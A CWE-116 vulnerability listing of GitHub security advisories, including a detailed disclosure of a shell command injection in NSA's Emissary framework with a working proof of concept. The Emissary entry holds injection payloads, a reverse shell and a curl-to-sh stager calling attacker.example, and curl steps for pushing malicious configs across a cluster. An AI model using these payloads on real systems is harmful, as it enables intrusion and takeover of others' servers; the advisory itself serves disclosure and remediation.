Common Weakness Enumeration

CWE-116

Allowed-with-Review

Improper Encoding or Escaping of Output

Abstraction: Class · Status: Draft

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

612 vulnerabilities reference this CWE, most recent first.

GHSA-3HX6-3QQX-QHVF

Vulnerability from github – Published: 2025-03-19 03:30 – Updated: 2025-03-19 03:30
VLAI
Details

Improper encoding or escaping of output vulnerability in the system plugin daemon in Synology BeeStation Manager (BSM) before 1.1-65374, Synology DiskStation Manager (DSM) before 6.2.4-25556-8, 7.1.1-42962-7, 7.2-64570-4, 7.2.1-69057-6 and 7.2.2-72806-1 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote attackers to execute arbitrary code via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-19T02:15:27Z",
    "severity": "CRITICAL"
  },
  "details": "Improper encoding or escaping of output vulnerability in the system plugin daemon in Synology BeeStation Manager (BSM) before 1.1-65374, Synology DiskStation Manager (DSM) before 6.2.4-25556-8, 7.1.1-42962-7, 7.2-64570-4, 7.2.1-69057-6 and 7.2.2-72806-1 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote attackers to execute arbitrary code via unspecified vectors.",
  "id": "GHSA-3hx6-3qqx-qhvf",
  "modified": "2025-03-19T03:30:35Z",
  "published": "2025-03-19T03:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10441"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_20"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3J8Q-2CFG-HM94

Vulnerability from github – Published: 2023-08-13 15:30 – Updated: 2024-04-04 06:53
VLAI
Details

Vulnerability of input parameters being not strictly verified in the PMS module. Successful exploitation of this vulnerability may cause newly installed apps to fail to restart.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-120",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-13T13:15:10Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability of input parameters being not strictly verified in the PMS module. Successful exploitation of this vulnerability may cause newly installed apps to fail to restart.",
  "id": "GHSA-3j8q-2cfg-hm94",
  "modified": "2024-04-04T06:53:57Z",
  "published": "2023-08-13T15:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39386"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/8"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202308-0000001667644725"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3JQ5-7792-2MQ3

Vulnerability from github – Published: 2023-09-14 18:32 – Updated: 2024-04-04 07:40
VLAI
Details

Improper encoding or escaping of output in Wing FTP Server (User Web Client) allows Cross-Site Scripting (XSS).This issue affects Wing FTP Server: <= 7.2.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-37875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-12T09:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Improper encoding or escaping of output in Wing FTP Server (User Web Client) allows Cross-Site Scripting (XSS).This issue affects Wing FTP Server: \u003c= 7.2.0.\n\n",
  "id": "GHSA-3jq5-7792-2mq3",
  "modified": "2024-04-04T07:40:22Z",
  "published": "2023-09-14T18:32:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37875"
    },
    {
      "type": "WEB",
      "url": "https://www.wftpserver.com/serverhistory.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3M69-HV34-FC7R

Vulnerability from github – Published: 2022-09-21 00:00 – Updated: 2025-11-03 21:30
VLAI
Details

The OWASP ModSecurity Core Rule Set (CRS) is affected by a response body bypass to sequentially exfiltrate small and undetectable sections of data by repeatedly submitting an HTTP Range header field with a small byte range. A restricted resource, access to which would ordinarily be detected, may be exfiltrated from the backend, despite being protected by a web application firewall that uses CRS. Short subsections of a restricted resource may bypass pattern matching techniques and allow undetected access. The legacy CRS versions 3.0.x and 3.1.x are affected, as well as the currently supported versions 3.2.1 and 3.3.2. Integrators and users are advised to upgrade to 3.2.2 and 3.3.3 respectively and to configure a CRS paranoia level of 3 or higher.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-39958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-20T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "The OWASP ModSecurity Core Rule Set (CRS) is affected by a response body bypass to sequentially exfiltrate small and undetectable sections of data by repeatedly submitting an HTTP Range header field with a small byte range. A restricted resource, access to which would ordinarily be detected, may be exfiltrated from the backend, despite being protected by a web application firewall that uses CRS. Short subsections of a restricted resource may bypass pattern matching techniques and allow undetected access. The legacy CRS versions 3.0.x and 3.1.x are affected, as well as the currently supported versions 3.2.1 and 3.3.2. Integrators and users are advised to upgrade to 3.2.2 and 3.3.3 respectively and to configure a CRS paranoia level of 3 or higher.",
  "id": "GHSA-3m69-hv34-fc7r",
  "modified": "2025-11-03T21:30:43Z",
  "published": "2022-09-21T00:00:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39958"
    },
    {
      "type": "WEB",
      "url": "https://coreruleset.org/20220919/crs-version-3-3-3-and-3-2-2-covering-several-cves"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00033.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HL2L2GF7GOCWPMJZDUE5OXDSXHGG3XUJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PD56EAYNGB6E6QQH62LAYCONOP6OH5DZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YPQ6CCMX3MU4A7MTCGQJA7VMJW3IQDXV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HL2L2GF7GOCWPMJZDUE5OXDSXHGG3XUJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PD56EAYNGB6E6QQH62LAYCONOP6OH5DZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YPQ6CCMX3MU4A7MTCGQJA7VMJW3IQDXV"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MM5-RH7G-PH5J

Vulnerability from github – Published: 2022-01-29 00:00 – Updated: 2023-07-11 21:30
VLAI
Details

A command injection remote code execution vulnerability was discovered on Western Digital My Cloud Devices that could allow an attacker to execute arbitrary system commands on the device. The vulnerability was addressed by escaping individual arguments to shell functions coming from user input.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-22992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-28T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A command injection remote code execution vulnerability was discovered on Western Digital My Cloud Devices that could allow an attacker to execute arbitrary system commands on the device. The vulnerability was addressed by escaping individual arguments to shell functions coming from user input.",
  "id": "GHSA-3mm5-rh7g-ph5j",
  "modified": "2023-07-11T21:30:56Z",
  "published": "2022-01-29T00:00:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22992"
    },
    {
      "type": "WEB",
      "url": "https://www.westerndigital.com/support/product-security/wdc-22002-my-cloud-os5-firmware-5-19-117"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MV9-6GW5-J7Q6

Vulnerability from github – Published: 2022-11-23 00:30 – Updated: 2022-11-26 06:31
VLAI
Details

The Web Client of Parallels Remote Application Server v18.0 is vulnerable to Host Header Injection attacks. This vulnerability allows attackers to execute arbitrary commands via a crafted payload injected into the Host header.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-40870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-23T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Web Client of Parallels Remote Application Server v18.0 is vulnerable to Host Header Injection attacks. This vulnerability allows attackers to execute arbitrary commands via a crafted payload injected into the Host header.",
  "id": "GHSA-3mv9-6gw5-j7q6",
  "modified": "2022-11-26T06:31:18Z",
  "published": "2022-11-23T00:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40870"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IthacaLabs/Parallels/blob/main/ParallelsRemoteApplicationServer/HHI_CVE-2022-40870.txt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IthacaLabs/Parallels/tree/main/ParallelsRemoteApplicationServer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3P24-9X7V-7789

Vulnerability from github – Published: 2026-04-13 16:38 – Updated: 2026-04-24 20:52
VLAI
Summary
Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix
Details

Summary

Executrix.getCommand() constructs shell commands by substituting temporary file paths directly into a /bin/sh -c string with no escaping. The IN_FILE_ENDING and OUT_FILE_ENDING configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.

This is a framework-level defectExecutrix provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.


Root Cause

Step 1 — IN_FILE_ENDING flows into temp path construction without validation

TempFileNames.java:32-36

public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) {
    base = Long.toString(System.nanoTime());
    tempDir = FileManipulator.mkTempFile(tmpDir, placeName);
    in  = base + inFileEnding;        // no sanitization
    out = base + outFileEnding;       // no sanitization
    basePath       = tempDir + File.separator + base;
    inputFilename  = basePath + inFileEnding;   // injected value lands here
    outputFilename = basePath + outFileEnding;  // and here
}

inFileEnding is concatenated directly onto a numeric base to produce inputFilename. No character class, no regex, no escaping.

Step 2 — The injected path is substituted verbatim into a shell string

Executrix.java:1053-1065

public String[] getCommand(final String[] tmpNames, final String commandArg,
                           final int cpuLimit, final int vmSzLimit) {
    String c = commandArg;
    c = c.replaceAll("<INPUT_PATH>",  tmpNames[INPATH]);  // contains inFileEnding verbatim
    c = c.replaceAll("<OUTPUT_PATH>", tmpNames[OUTPATH]);
    c = c.replaceAll("<INPUT_NAME>",  tmpNames[IN]);
    c = c.replaceAll("<OUTPUT_NAME>", tmpNames[OUT]);

    String ulimitv = "";
    if (!SystemUtils.IS_OS_MAC) {
        ulimitv = "ulimit -v " + vmSzLimit + "; ";
    }
    return new String[] {"/bin/sh", "-c",
        "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c};
}

The final array element is passed to /bin/sh -c. Shell metacharacters in any substituted value are interpreted by the shell.

The identical pattern exists in the TempFileNames overload at Executrix.java:1103-1115.

Step 3 — setInFileEnding() and setOutFileEnding() perform no validation

Executrix.java:1176-1196

public void setInFileEnding(final String argInFileEnding) {
    this.inFileEnding = argInFileEnding;   // accepted as-is
}

public void setOutFileEnding(final String argOutFileEnding) {
    this.outFileEnding = argOutFileEnding; // accepted as-is
}

The same absence of validation applies to the IN_FILE_ENDING and OUT_FILE_ENDING keys read from configuration at Executrix.java:121-122.

Contrast: placeName is sanitized, file endings are not

The framework already sanitizes placeName using a strict allowlist:

// Executrix.java:78
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

// Executrix.java:148-150
protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}

placeName ends up in tmpNames[DIR], which is also embedded in the shell string. The sanitization of placeName demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for inFileEnding and outFileEnding is the defect.


Proof of Concept

Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.


PoC 1 — Docker: end-to-end attack against a live node

Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.

Environment setup

Put the Dockerfile.poc to contrib/docker/ folder

FROM emissary:poc-base

COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/

RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \
    && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \
    && mkdir -p /opt/emissary/localoutput \
    && mkdir -p /opt/emissary/target/data \
    && chmod -R a+rw /opt/emissary \
    && chown -R emissary:emissary /opt/emissary* \
    && rm -f /tmp/*.tar.gz

USER emissary
WORKDIR /opt/emissary
EXPOSE 8001
ENTRYPOINT ["./emissary"]
CMD ["server", "-a", "2", "-p", "8001"]
# Build the distribution tarball
mvn -B -ntp clean package -Pdist -DskipTests

# Build and start the Docker container
docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/
docker run -d --name emissary-poc -p 8001:8001 emissary:poc

# Wait for the server to start (~15s), then verify health
docker exec emissary-poc sh -c \
  'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"'
# healthy

Step 1 — Confirm the marker file does not exist

docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1'
# ls: cannot access '/tmp/pwned.txt': No such file or directory

Step 2 — Write the malicious place config

Write emissary.place.UnixCommandPlace.cfg into the server's config directory. The EXEC_COMMAND is a benign cat. The injection is entirely in IN_FILE_ENDING using backtick command substitution (POSIX-compatible, works on all target OS images):

docker exec emissary-poc sh -c "printf \
'SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\
SERVICE_NAME = \"UCP\"\n\
SERVICE_TYPE = \"TRANSFORM\"\n\
PLACE_NAME = \"UnixCommandPlace\"\n\
SERVICE_COST = 4000\n\
SERVICE_QUALITY = 90\n\
SERVICE_PROXY = \"LOWER_CASE\"\n\
EXEC_COMMAND = \"cat <INPUT_PATH>\"\n\
OUTPUT_TYPE = \"STD\"\n\
IN_FILE_ENDING = \"\\\`id > /tmp/pwned.txt\\\`\"\n\
OUT_FILE_ENDING = \".out\"\n' \
> /opt/emissary/config/emissary.place.UnixCommandPlace.cfg"

Step 3 — Add UnixCommandPlace to places.cfg

docker exec emissary-poc sh -c \
  'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \
   >> /opt/emissary/config/places.cfg'

Step 4 — Restart the server to load the config

docker restart emissary-poc
# wait for health: 200
docker exec emissary-poc sh -c \
  'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"'

Startup log confirms the place loaded:

INFO  emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!

Step 5 — Drop any file into the pickup directory to trigger processing

docker exec emissary-poc sh -c \
  'echo "any data" > /opt/emissary/target/data/InputData/victim.txt'

The Emissary pipeline picks up the file, routes it through UnixFilePlaceToLowerPlaceUnixCommandPlace (cost 4000, lower than ToUpperPlace at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside getCommand() before cat is even called.

Step 6 — Confirm injection executed

sleep 10   # allow pipeline processing time
docker exec emissary-poc sh -c 'cat /tmp/pwned.txt'

Live output (verified):

uid=1000(emissary) gid=1000(emissary) groups=1000(emissary)

Assembled shell string at execution time (logged by Emissary at DEBUG level):

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id > /tmp/pwned.txt`

The backtick expression fires as the shell expands the cat argument. The cat itself returns non-zero (no file at that path) but that is irrelevant — the injected command has already run.

Transform history from Emissary logs — confirms UnixCommandPlace ran:

transform history:
  UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050
  UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050
  UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010
  LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000   <-- injection fired here
  ...

Escalating the payload — reverse shell

Replace the IN_FILE_ENDING value. The content is passed verbatim to /bin/sh -c, so any POSIX shell construct works:

# Reverse shell — POSIX sh compatible (works on Alpine/busybox as well as bash)
IN_FILE_ENDING = "`rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example 4444 >/tmp/f`"

# Curl-based stager (avoids embedding IP in config, works on any image with curl)
IN_FILE_ENDING = "`curl -s http://attacker.example/s.sh | sh`"

Both fire on the first payload processed — no further attacker interaction required.


PoC 2 — Unit test: isolated, no server required

Exercises the identical code path using only the public Executrix API. Suitable for inclusion in a CI security regression suite.

package emissary.util.shell;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.DisabledOnOs;
import org.junit.jupiter.api.condition.OS;
import org.junit.jupiter.api.io.TempDir;

import java.nio.file.Files;
import java.nio.file.Path;

import static org.junit.jupiter.api.Assertions.assertTrue;

/**
 * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,
 * enabling command injection via getCommand().
 *
 * Mirrors exactly what UnixCommandPlace.runCommandOn() does:
 *   TempFileNames names = executrix.createTempFilenames();
 *   String[] cmd = executrix.getCommand(names);
 *   executrix.execute(cmd, ...);
 */
@DisabledOnOs(OS.WINDOWS)
class ExecutrixShellInjectionPocTest {

    @Test
    void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {
        Path marker = tmpDir.resolve("injected");

        // Backtick substitution: avoids the Java regex $-group issue in replaceAll()
        // while still demonstrating the shell executes the injected expression.
        String payload = "`touch " + marker.toAbsolutePath() + "`";

        Executrix executrix = new Executrix();
        executrix.setTmpDir(tmpDir.toString());
        executrix.setCommand("cat <INPUT_PATH>");  // mirrors UnixCommandPlace default
        executrix.setInFileEnding(payload);  // no validation — accepted as-is

        // --- path taken by UnixCommandPlace.runCommandOn() ---
        TempFileNames names = executrix.createTempFilenames();
        String[] cmd = executrix.getCommand(names);
        // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <marker>`"

        // Execute — same call as executrix.execute(cmd, outbuf, errbuf)
        Process proc = Runtime.getRuntime().exec(cmd);
        proc.waitFor();

        assertTrue(Files.exists(marker),
            "Shell injection succeeded — backtick in IN_FILE_ENDING executed.\n" +
            "Shell string: " + cmd[2]);
    }
}

Assembled shell string:

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`

The marker file is created by the backtick expression firing during shell argument expansion.

Note on $() vs backticks: String.replaceAll() treats $ in the replacement as a regex group reference, so a $(...) payload causes a java.lang.IllegalArgumentException before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the $ appropriately.

The same injection works via OUT_FILE_ENDING<OUTPUT_PATH> / <OUTPUT_NAME>, and via the String[] overload of getCommand() used by MultiFileUnixCommandPlace.


Attack Scenarios

Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.


Scenario A — Insider / developer with config write access

Attacker's starting position: Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.

Why this is realistic: Emissary deployments typically load .cfg files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload.

Step 1 — Add the malicious config as a seemingly routine change

In a PR or direct push to the config repo:

+++ b/config/emissary.place.UnixCommandPlace.cfg
@@ -0,0 +1,10 @@
+SERVICE_KEY     = "LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000"
+SERVICE_NAME    = "UCP"
+SERVICE_TYPE    = "TRANSFORM"
+PLACE_NAME      = "UnixCommandPlace"
+SERVICE_COST    = 4000
+SERVICE_QUALITY = 90
+SERVICE_PROXY   = "LOWER_CASE"
+EXEC_COMMAND    = "cat <INPUT_PATH>"
+OUTPUT_TYPE     = "STD"
+IN_FILE_ENDING  = "`curl -s http://attacker.example/implant.sh | sh`"
+OUT_FILE_ENDING = ".out"

The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.

Step 2 — Wait for the next deploy

The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a WARN for non-zero exit but does not surface the injected command's output).

Deniability: The .cfg file looks like a misconfigured place. The log entry is Bad execution of commands — a common operational error, not an obvious security event.


Scenario B — Cluster-wide propagation via the peers API

Attacker's starting position: RCE on one node (from Scenario A).

Why this is dangerous: Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer.

Step 1 — Enumerate all cluster nodes

curl -s --digest -u <user>:<password> \
  http://compromised-node:8001/api/cluster/peers \
  | grep -o '"http://[^"]*"'

Response:

{"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"host":"node3:8001",...}]}

Step 2 — Push the malicious config to each peer via the Emissary API

From the compromised node, use the Emissary cluster API directly — no SSH required. All nodes authenticate each other using the same shared credentials, and the CONFIG_DIR path is disclosed by the /api/peers response metadata:

# From the shell gained in Scenario A
PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)

for peer in node2:8001 node3:8001 node4:8001; do
  # Write the config file to the peer via its exposed file API
  # (alternatively: exploit the peer's own pickup directory via the ingest API)
  curl -s --digest -u <user>:<password> \
    -X POST \
    -H "Content-Type: text/plain" \
    --data-binary "$PAYLOAD" \
    "http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg"
done

If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) — all of which are common Emissary deployment patterns.

Step 3 — Trigger restart on each peer via the cluster shutdown API

for peer in node2:8001 node3:8001 node4:8001; do
  curl -s --digest -u <user>:<password> \
    -X POST -H "X-Requested-By: x" \
    http://${peer}/api/shutdown
done

Outcome: Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.

Impact

Dimension Assessment
Confidentiality Critical — arbitrary read of files accessible to the Emissary process
Integrity Critical — arbitrary file write, process state modification, persistence
Availability Critical — process termination, resource exhaustion
Blast radius Any place that uses Executrix and calls getCommand(); this includes all subclasses of ExecPlace and any custom place that follows the documented pattern

Recommended Remediation

Primary fix — validate inFileEnding and outFileEnding on assignment

Apply the same allowlist pattern already used for placeName:

// Add to Executrix.java
private static final Pattern VALID_FILE_ENDING = Pattern.compile("^[a-zA-Z0-9._-]*$");

public void setInFileEnding(final String argInFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {
        throw new IllegalArgumentException(
            "IN_FILE_ENDING contains illegal characters: " + argInFileEnding);
    }
    this.inFileEnding = argInFileEnding;
}

public void setOutFileEnding(final String argOutFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {
        throw new IllegalArgumentException(
            "OUT_FILE_ENDING contains illegal characters: " + argOutFileEnding);
    }
    this.outFileEnding = argOutFileEnding;
}

Apply the same validation inside configure() where the values are read from the Configurator.

Secondary fix (defence-in-depth) — shell-quote substituted values in getCommand()

Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:

// In getCommand(), wrap each substituted value in single quotes
// and escape any embedded single quotes.
// Java string "'\\'''" is the four characters: ' \ ' '
// which at runtime produces the shell sequence: '\''
// (close quote, literal single quote, reopen quote)
private static String shellQuote(String value) {
    return "'" + value.replace("'", "'\\''") + "'";
}

// Then:
c = c.replace("<INPUT_PATH>",  shellQuote(tmpNames[INPATH]));
c = c.replace("<OUTPUT_PATH>", shellQuote(tmpNames[OUTPATH]));
c = c.replace("<INPUT_NAME>",  shellQuote(tmpNames[IN]));
c = c.replace("<OUTPUT_NAME>", shellQuote(tmpNames[OUT]));

Why this is a framework-level fix

The framework's cleanPlaceName() method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to inFileEnding and outFileEnding is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.42.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "gov.nsa.emissary:emissary"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.43.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-13T16:38:25Z",
    "nvd_published_at": "2026-04-18T02:16:11Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`Executrix.getCommand()` constructs shell commands by substituting temporary file paths directly into a `/bin/sh -c` string with no escaping. The `IN_FILE_ENDING` and `OUT_FILE_ENDING` configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM\u0027s security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.\n\nThis is a **framework-level defect** \u2014 `Executrix` provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.\n\n---\n\n### Root Cause\n\n#### Step 1 \u2014 `IN_FILE_ENDING` flows into temp path construction without validation\n\n**[`TempFileNames.java:32-36`](src/main/java/emissary/util/shell/TempFileNames.java#L32-L36)**\n\n```java\npublic TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) {\n    base = Long.toString(System.nanoTime());\n    tempDir = FileManipulator.mkTempFile(tmpDir, placeName);\n    in  = base + inFileEnding;        // no sanitization\n    out = base + outFileEnding;       // no sanitization\n    basePath       = tempDir + File.separator + base;\n    inputFilename  = basePath + inFileEnding;   // injected value lands here\n    outputFilename = basePath + outFileEnding;  // and here\n}\n```\n\n`inFileEnding` is concatenated directly onto a numeric base to produce `inputFilename`. No character class, no regex, no escaping.\n\n#### Step 2 \u2014 The injected path is substituted verbatim into a shell string\n\n**[`Executrix.java:1053-1065`](src/main/java/emissary/util/shell/Executrix.java#L1053-L1065)**\n\n```java\npublic String[] getCommand(final String[] tmpNames, final String commandArg,\n                           final int cpuLimit, final int vmSzLimit) {\n    String c = commandArg;\n    c = c.replaceAll(\"\u003cINPUT_PATH\u003e\",  tmpNames[INPATH]);  // contains inFileEnding verbatim\n    c = c.replaceAll(\"\u003cOUTPUT_PATH\u003e\", tmpNames[OUTPATH]);\n    c = c.replaceAll(\"\u003cINPUT_NAME\u003e\",  tmpNames[IN]);\n    c = c.replaceAll(\"\u003cOUTPUT_NAME\u003e\", tmpNames[OUT]);\n\n    String ulimitv = \"\";\n    if (!SystemUtils.IS_OS_MAC) {\n        ulimitv = \"ulimit -v \" + vmSzLimit + \"; \";\n    }\n    return new String[] {\"/bin/sh\", \"-c\",\n        \"ulimit -c 0; \" + ulimitv + \"cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\nThe final array element is passed to `/bin/sh -c`. Shell metacharacters in any substituted value are interpreted by the shell.\n\nThe identical pattern exists in the 